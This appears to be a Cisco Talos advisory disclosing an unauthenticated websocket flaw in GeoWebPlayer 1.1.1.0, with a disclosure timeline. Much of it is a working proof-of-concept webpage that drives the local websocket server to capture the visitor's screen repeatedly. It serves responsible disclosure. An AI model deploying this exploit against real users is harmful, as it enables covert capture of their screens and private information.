CVE-2026-13125
A lack of authentication vulnerability exists in the Websocket Server functionality of GeoWebPlayer (version(s): 1.1.1.0). A specially crafted websocket connection can lead to execute priviledged operation. An attacker can stage a malicious webpage to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
GeoWebPlayer (version(s): 1.1.1.0)
GeoWebPlayer - http://ovision.com.tw/
8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L
CWE-306 - Missing Authentication for Critical Function
GeoWebPlayer (also called “Web Plugin” in the GV-VMS documentation and “WS Player” for VMS-Cloud) is an addon that can be installed with various GeoVision software (GV-VMS, GV-Cloud, …). It creates a websocket server that expands the capabilities of the various web-interfaces provided by the GeoVision software and may be necessary for them to function properly.
In order to access the websocket server no authentication is required. As such, any malicious website can attempt to open a connection to the server and potentially access sensitive APIs. In particular, it’s possible to call a combination of the create method and getScreenCapture to retrive the content of the user’s screen.
The following code snippet is an example to open the socket and attach to the first window that has a space in its title and then retrieve the content of the user’s screen potentially revealing sensitive information to the attacker.
<html>
<head>
<script>
const socket = new WebSocket('ws://localhost:9100');
function set_snapshot(img_data)
{
const imgElement = document.getElementById("test_img")
imgElement.src = "data:image/jpeg;base64," + img_data;
imgElement.alt = 'Description of image';
}
cmd_pos = {
method: 'setPosition',
top: 0,
left: 0,
width: 1500,
height: 800,
camindex: 0,
title: "",
index: 0,
streamIndex: 0
};
cmd = {
method: 'create',
title: " ",
top: 0,
left: 0,
width: 1000,
height: 700,
fullscreen: true
};
const myJSON = JSON.stringify(cmd);
socket.addEventListener('open', (event) => {
console.log('Connection established.');
// Now it is safe to send a message
socket.send(myJSON);
});
socket.addEventListener('message', (event) => {
console.log('Message from server: ', event.data);
// If the data is JSON, you must parse it
try {
const messageObject = JSON.parse(event.data);
console.log('Parsed message:', messageObject);
// Handle different message types here if needed
if (true) {
method = messageObject["method"]
data = messageObject["data"]
if (method == "getScreenCapture")
{
set_snapshot(data);
}
else if (method == "create")
{
console.log("Create response")
if (messageObject["success"]) {
socket.send(JSON.stringify(cmd_pos))
setInterval(() => {
// Code here runs after 1000 milliseconds (1 second)
socket.send(JSON.stringify({method: "getScreenCapture", index:0}))
}, 500)
}
else
{
console.log("Failed to find window")
}
}
}
} catch (e) {
// Not a JSON message, handle as plain text or binary
}
});
</script>
</head>
<body>
Hello
<img id="test_img"></img>
</body>
</html>
2026-03-25 - Initial Vendor Contact
2026-04-21 - Vendor Disclosure
2026-04-28 - Vendor Patch Release
2026-07-01 - Public Release
Philippe Laulheret of Cisco Talos